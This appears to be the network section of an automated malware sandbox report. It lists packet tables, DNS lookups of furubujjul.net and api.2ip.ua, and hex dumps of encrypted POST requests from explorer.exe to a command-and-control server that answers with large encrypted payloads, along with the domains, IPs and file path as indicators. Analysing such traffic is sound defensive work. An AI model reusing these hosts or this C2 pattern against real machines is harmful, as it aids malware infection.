Oct 3, 2022 17:35:33.008322001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008322954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008342981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008358002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008369923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008378029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008395910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008408070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008424997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008435965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008457899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008472919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008483887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008491993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008610010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008647919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008680105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008733988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008761883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008786917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008812904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008815050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008842945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008852005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008878946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.032397985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.032665968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.063347101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.065304995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:36.879015923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:36.879120111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:36.966993093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:36.967091084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:36.967148066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:36.996401072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:38.572940111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:38.573165894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.288665056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.288841963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.317719936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.317763090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.317781925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.317797899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.317815065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.317832947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.317898989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.317969084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.318232059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.318418980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.346786976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.346832037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.346852064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347002029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347016096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.347016096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.347023964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347042084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347083092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.347115993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.347254038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347322941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347325087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.347363949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347381115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.347418070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.347469091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.347546101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.386300087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.386511087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:47.386771917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.387356997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.415648937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.415709019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.415729046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.415756941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:47.415780067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:51.589600086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:51.589773893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:52.879489899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:56.228348970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:35:56.266110897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:35:56.269334078 CEST	49702	80	192.168.2.7	104.21.93.30

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2022 17:34:50.782113075 CEST	59477	53	192.168.2.7	8.8.8.8
Oct 3, 2022 17:34:50.806574106 CEST	53	59477	8.8.8.8	192.168.2.7
Oct 3, 2022 17:35:31.065092087 CEST	55752	53	192.168.2.7	8.8.8.8
Oct 3, 2022 17:35:31.086719036 CEST	53	55752	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2022 17:34:50.782113075 CEST	192.168.2.7	8.8.8.8	0x2c79	Standard query (0)	furubujjul.net	A (IP address)	IN (0x0001)	false
Oct 3, 2022 17:35:31.065092087 CEST	192.168.2.7	8.8.8.8	0x3629	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 3, 2022 17:34:50.806574106 CEST	8.8.8.8	192.168.2.7	0x2c79	No error (0)	furubujjul.net	104.21.93.30	A (IP address)	IN (0x0001)	false
Oct 3, 2022 17:34:50.806574106 CEST	8.8.8.8	192.168.2.7	0x2c79	No error (0)	furubujjul.net	172.67.203.213	A (IP address)	IN (0x0001)	false
Oct 3, 2022 17:35:31.086719036 CEST	8.8.8.8	192.168.2.7	0x3629	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

cubye.net

furubujjul.net

yesum.net

jigwqmj.com

itraykmwbj.net

hrnurk.org

ycrqve.net

emgsptlj.com

cuxke.net

sgmgrm.com

qxeovi.org

atioeij.net

193.38.55.180

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49704	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\253.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49702	104.21.93.30	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:34:50.845271111 CEST	102	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cubye.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: furubujjul.net
Oct 3, 2022 17:34:50.845396996 CEST	102	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 e5 aa 30 d2 Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bO0h}%B:es&\<;4n[1wCpPt9'Zkx"*
Oct 3, 2022 17:34:51.016848087 CEST	103	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ysrkBd95yxrQYuIqJZk25AkZ1y9w9KEKztzSMIP5huhjpu937K%2FE75y0nhB%2FzPtdLbce1MjUwcjQaqZPlvs6zew9GOpS8Vc4eiMk2R%2FZugqWWKKeSG4kt63f5Jcm3sSwWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be87de600676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 33 38 33 30 0d 0a 18 00 00 00 1f 3d 5c a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 73 d2 09 b6 c9 de db c5 ba 1e d7 7f 00 12 17 00 23 c9 75 21 7d 31 a2 02 6b a5 2d 41 ec 51 18 fa f8 e1 fc b7 d5 59 5e d9 fc 05 8a e6 2e b0 b3 25 e5 ea a7 6b bf aa d2 2a a1 30 2e 91 f4 d1 8f ea 9f c6 25 9c c5 89 09 cb 73 4a b2 26 d8 20 90 41 44 69 cf 7e 2f 45 4f d8 13 77 10 87 39 b4 bf 0f f7 e9 19 82 a7 10 b1 d7 19 1a 19 6a 33 fc 4e ec 20 86 9f cf 03 46 7d f0 e6 e5 4f a4 db 03 b4 3f dc 6e 62 a8 cf d0 14 a1 8b 5a 40 bb 9c 22 79 f8 02 92 87 b6 85 0e 2a 26 b7 a0 50 44 13 d1 ad da 68 6b 16 86 cc 76 b9 cc c2 8b e1 c5 1a 29 ca ae 93 ea 2a 85 ed cb d3 f5 00 0b 8c 84 9b 73 73 ac 0e 89 cf 08 3b 19 e1 d1 18 0b 83 49 65 d5 bc a8 fb f8 75 ea 73 e5 36 e7 89 9e bc fc e0 93 9f 0e 30 e3 b1 93 95 97 a7 51 6e c6 76 98 34 61 81 b9 d4 29 1e 0b 48 34 51 ea a8 27 bd a7 d3 19 7b ba fb 14 37 89 40 35 c9 72 ce ff 7e 73 02 80 1d 34 a3 d6 d5 35 54 16 c0 8c 0b b9 9c 39 cc 5a 58 e4 72 4a e6 3d ac 59 3b f2 1d 17 db 53 f1 f9 f8 6d 3c cd 87 c5 4c 80 7e b9 38 2b 2b 80 c9 45 28 26 8c 39 c1 e6 f7 06 d2 9f 3e 54 78 a5 8f 04 e0 44 d8 60 ef b0 31 16 26 48 3c be 6d 48 19 5f 48 77 e4 60 01 bd 87 b0 1c 9d a1 16 f4 36 d8 35 bf ff c2 92 ea 11 27 67 98 42 42 9d 33 db ad c4 a3 26 8a 4b 66 21 d8 e8 f5 cb c5 74 47 a9 b2 e7 8c 03 31 86 6a da 0d d8 d6 c4 39 45 06 a7 92 40 bc b7 0c ee a1 e3 2d e7 7f ff 08 9e 1a e4 a2 39 f6 af eb 37 f9 22 7e d2 9a 52 2e a6 c0 ce 7d 15 3c f7 86 de a3 9b c7 d1 a6 f5 37 e4 1d 47 e4 a8 f1 e3 34 b5 9d 6b e1 c6 0f 1e c2 d1 4c 69 46 31 be 52 37 2a 13 f1 90 bb 5e 00 af bd cf d3 34 dc cd 26 20 32 30 1e 71 18 15 45 d5 f8 9e 0c 94 79 ea b4 f4 f6 da 66 24 c8 7b 72 72 58 6f 47 16 74 8a bd ad 34 13 13 7d 27 a1 79 5d b2 03 f1 af 97 4a cd 31 e2 5d d4 33 e6 16 91 9e fa ae ac e7 2e be bd 94 e8 0e d8 7b bc f4 e5 63 8c d4 89 47 d2 c8 81 4f 81 4f f3 55 43 56 9b 62 c8 4b 42 b3 0a f7 40 ec 9a 8a a3 0e c2 c8 6e 35 97 c7 a8 aa 86 3a 19 e2 ca 43 2a be 48 8a 79 b3 54 95 5f 47 Data Ascii: 3830=\7f0\|gW5p@E74o8s#u!}1k-AQY^.%k0.%sJ& ADi~/EOw9j3N F}O?nbZ@"y&PDhkv)ss;Ieus60Qnv4a)H4Q'{7@5r~s45T9ZXrJ=Y;Sm<L~8++E(&9>TxD`1&H<mH_Hw`65'gBB3&Kf!tG1j9E@-97"~R.}<7G4kLiF1R7^4& 20qEyf${rrXoGt4}'y]J1]3.{cGOOUCVbKB@n5:C*HyT_G
Oct 3, 2022 17:34:51.016887903 CEST	105	IN	Data Raw: 5b d7 47 fd f7 5f 41 16 04 f0 67 35 8b 47 47 b8 26 83 63 1f 06 56 97 9b c9 11 b7 a7 b0 81 21 59 20 1a 5b 8c 1e f9 c3 97 29 59 20 d5 16 8d 88 d8 24 27 06 7e 2a d4 49 96 b7 95 e2 c7 c4 c3 58 e2 79 dd 83 78 0c 00 9c 2f 73 9d 0b d2 68 ac 80 b9 86 58 Data Ascii: [G_Ag5GG&cV!Y [)Y $'~IXyx/shX#b!0&%Ud{wPI,MHR4J16t p\|/*BpLa.{AMS+UPba2?m[jKaAUwy"kcA36
Oct 3, 2022 17:34:51.016912937 CEST	106	IN	Data Raw: 39 24 a2 c7 8e c1 9a 58 fa 58 91 98 ef b0 de 8d fb 45 92 6c cf 38 a0 20 a0 02 f4 ae 4c c5 2b fc d3 32 ef 7a c7 b4 6a 5d fc 2a 24 f8 56 34 cc f0 4c c5 f1 77 9e 23 ce 10 6b 3e 2a 22 2b 88 46 dc c5 56 a4 90 a0 6d d7 f7 5f cc 15 8f 2a 93 d4 4c 76 ac Data Ascii: 9$XXEl8 L+2zj]$V4Lw#k>"+FVm_*LvR/!X`8\^,wlV m$/4Jo'a7aPc0f>_'Ue\|:0Xf$S]4H`]3sY3h&V=9UP.uY
Oct 3, 2022 17:34:51.016937971 CEST	107	IN	Data Raw: f5 be 22 37 44 bd 2d 72 46 47 e2 2a 92 22 bc bc a3 f0 c6 59 f9 a7 0f 69 06 47 16 9c e5 03 71 d4 a3 6b 11 3d 57 25 da c9 16 e3 40 b4 e9 d7 e8 12 a1 6d 89 d4 34 9f 17 b6 b7 3e 8d 08 61 89 31 19 65 f2 47 0a 3c 9c 54 7e 82 17 f4 76 c1 d1 a5 f0 82 7f Data Ascii: "7D-rFG*"YiGqk=W%@m4>a1eG<T~vZAz2mF<,At5HYAZ<$:ll~sag\|+qp+e?r/}Q3\%ke\|l;`7^89Iz)IJktRdP
Oct 3, 2022 17:34:51.016962051 CEST	109	IN	Data Raw: 26 56 c8 14 9c 5d a1 dc 61 b7 8d 14 8b 8d 13 ad ab df eb ae 6d 5c c2 48 68 30 b0 05 95 2a 60 ee ee 49 9d 3d 4e 83 8d d0 09 3e e8 42 54 3b 88 3e 65 9e b3 3e 2c 85 c1 23 a2 f2 48 d1 ac 62 6b b4 c3 60 32 ab 2e ca 70 9b 58 31 2f df 80 6d 72 29 9d d3 Data Ascii: &V]am\Hh0*`I=N>BT;>e>,#Hbk`2.pX1/mr)6~Ms)<F9I(zroKCd]b2$= y>p@ha%rq9c)}S@(\|09&7}OMwOi%v,t!n"!d)&+
Oct 3, 2022 17:34:51.016988039 CEST	110	IN	Data Raw: 10 16 7f d5 89 a3 ce c5 23 87 49 90 b6 e9 65 21 38 9b 0e ca f1 55 30 ff 5c 21 a2 63 a0 3e 2a e7 81 8b 2d e5 b5 af 53 01 75 3b 33 59 09 36 ff d7 05 c7 82 98 de 36 3a da ed 72 94 29 60 c5 ab c2 56 a7 72 55 08 f1 80 4b 22 36 65 19 8f 43 72 6d 33 46 Data Ascii: #Ie!8U0\!c>*-Su;3Y66:r)`VrUK"6eCrm3FslLsg7S&dw?VmNI% C-Kl=E.%f:D\|r{KZdo0SHR"<067kS-$3Gk]E"<nDBUAZv}Qb
Oct 3, 2022 17:34:51.017014980 CEST	111	IN	Data Raw: c3 45 c1 ad e1 5d b5 33 3e 86 b4 76 cc e4 5a c9 81 e2 ab 42 20 41 71 9e 1c bf a5 f1 22 bf de 9e f5 ba 54 3d da ea 5c 22 ad d4 ab 1b bd ae 47 60 0d 20 35 81 cb b0 8c fb 30 d2 be f3 cc e4 af 8c 6f f2 33 82 d9 45 80 1c 85 eb 8a b1 17 8d 7e 45 03 a6 Data Ascii: E]3>vZB Aq"T=\"G` 50o3E~EX;\r+xO:*w\|ZwJa&?vvS#(;yH+@a~l/)]\|xC#Incw)4fUP% 4=Q.Sric"?qc-eX
Oct 3, 2022 17:34:51.017041922 CEST	113	IN	Data Raw: 48 c4 b8 bb 47 05 42 47 80 ba 39 9e 59 ac cf 69 e2 7c 70 1d 77 e6 fe 31 76 72 47 b9 3b a4 04 a1 1c 65 1c 6f a2 4c f6 8c 08 59 3b ed db a7 77 51 8f 04 70 7f 22 6f 76 2b 8d 74 55 68 10 71 27 b6 b8 0c 89 3f 67 68 4c f6 a6 bc 7a 7d 30 38 bd cf 1e cb Data Ascii: HGBG9Yi\|pw1vrG;eoLY;wQp"ov+tUhq'?ghLz}083U"/JK.vl+sKCN#Ip2T%#A'6+jeD@J/]yL+/*(RDrJCh};L{BucJx<6u
Oct 3, 2022 17:34:51.017069101 CEST	114	IN	Data Raw: 0b 91 5b b0 b1 fe c2 10 4e fc f4 a9 9e 7e 17 0b 51 97 d5 64 f2 4b 2d 8b 82 a0 6e 52 a6 c8 4b 01 de af 38 03 09 37 06 92 55 21 8b 56 81 30 4d 87 3e 59 6c 18 f1 db 35 a1 7e fb be b1 ac db 08 8f 6e be 44 7b 55 62 34 a5 f1 e0 5b f7 ec af 39 2c f6 81 Data Ascii: [N~QdK-nRK87U!V0M>Yl5~nD{Ub4[9,IiB6:gE@?2S!;}BG^$ z)FY' i)C'=BdlO&dt^I{{r"hAT0\v!AVch[KosO
Oct 3, 2022 17:34:51.017100096 CEST	115	IN	Data Raw: a5 31 e1 97 23 c9 75 15 dd 0f e9 33 c8 57 98 32 b1 ec fb e8 0c 04 26 04 61 e3 e9 43 a2 e3 24 11 33 87 05 83 c5 03 c8 98 07 9c 5a d7 a7 1c 4b 8a c7 a7 de a4 d4 89 d0 2d e3 f0 59 b5 82 d7 71 19 05 c5 93 81 67 ff a3 31 51 e4 d5 2a 2f 34 bc a7 57 f8 Data Ascii: 1#u3W2&aC$3ZK-Yqg1Q/4W$~}y}Y{X='S>O1iGY>_#Yzm#_an+_S^DNmc+nn2H7Rp}FyvXf#H-1++6)E+gKY/g;
Oct 3, 2022 17:34:51.017113924 CEST	117	IN	Data Raw: 4f c4 6e d8 d6 3f 92 f2 ee 8f ca 81 e3 3b f1 57 a7 15 c3 13 ba 1a bf 28 ad 9a 2d 78 f2 25 79 65 04 be f1 a4 bc 1b 38 a1 c2 30 ec b9 39 1a 10 ac 27 f8 65 29 42 09 30 e4 07 fe 98 89 01 ed 98 8b b4 3a a5 25 5d 69 d6 43 f8 25 f0 6e 93 c1 56 84 ee 10 Data Ascii: On?;W(-x%ye809'e)B0:%]iC%nV$)x3F?^4XE;;t{!C&h4\=qC^Dj@OJp+mS*$(AP$,Vk6Q:;)yH=1Oam@06em_:\|=-82
Oct 3, 2022 17:34:51.287870884 CEST	362	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yesum.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: furubujjul.net
Oct 3, 2022 17:34:51.287942886 CEST	362	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 82 d3 3c cf Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bO<3n{)T[n"Gb%kes:yVru-[-ZJeQ9@v2G6jbD7FqH3,r6Y, adS~
Oct 3, 2022 17:34:51.388551950 CEST	364	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DSah6JzI4yymTqf38ZJ4Zr23USwrWWkuzUKOzQ0RjW4D%2BqkE%2FIMiz5AdlJj034MB2zoKrQ%2FDnflwQVIaut5PLvw884IwiDdSBja%2Bv4ENusV4Kc5A2Uo6fF8HIcUcX%2BRbCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be8a9a9c0676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 3, 2022 17:34:51.401964903 CEST	364	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jigwqmj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 125 Host: furubujjul.net
Oct 3, 2022 17:34:51.402049065 CEST	364	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 e1 cd 4a be Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bOJ5$viV%S{LF6\
Oct 3, 2022 17:34:51.564575911 CEST	366	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mhv6KU2MmHPkDdlA8pGI2L2eLI4x2oiuYfvYzJumgi8RYqnsdvgZUWODVknpvAXcZePdaQM%2BObK%2FQDESuW%2B6DvdeiQW9E%2F8T40R2MgTCLkjfLA8QR%2BD1wurauhQIbBJvjQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be8b5bd60676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 64 35 37 0d 0a 02 00 b4 60 3b d4 0f 1a 40 10 16 30 8f b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 53 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 b3 98 30 06 81 8f f1 83 0e 25 a6 79 5e 5c 51 fb 32 35 47 48 3b fe cc bd 6c 62 ad 5d 6f 38 6d 57 12 73 36 18 28 a6 70 a3 d1 43 36 2f a4 14 0f 85 c2 e7 27 c2 25 7b ba 49 79 b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 15 13 90 31 a3 b8 24 08 4f c5 03 a1 cb a1 81 7e 50 54 62 b8 1b 0e 7e 0b ac 9a a5 9c d9 a0 c1 b9 dd 7a 65 f0 4d 19 e0 3c 95 a9 18 6a f6 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6f a1 c0 4a 9a 03 fd ec 9a aa 7b ac 87 2f bd 61 0d 40 49 bf 46 30 fd f8 12 6c 33 6c 2b 7c 0b 8d c7 fd e4 0e a4 eb 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 8b 29 b9 0e fe cc 23 b2 65 0a 31 79 fe 80 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af e1 3f 27 1c 5e b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 71 67 a3 1e 1e 54 ab 1e e2 2e 12 ee c3 de 57 a3 4c 49 86 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 54 f8 8d f1 99 07 99 8a 29 c4 7f 74 79 20 6e 43 cc 9b 8b 8b e1 3a 79 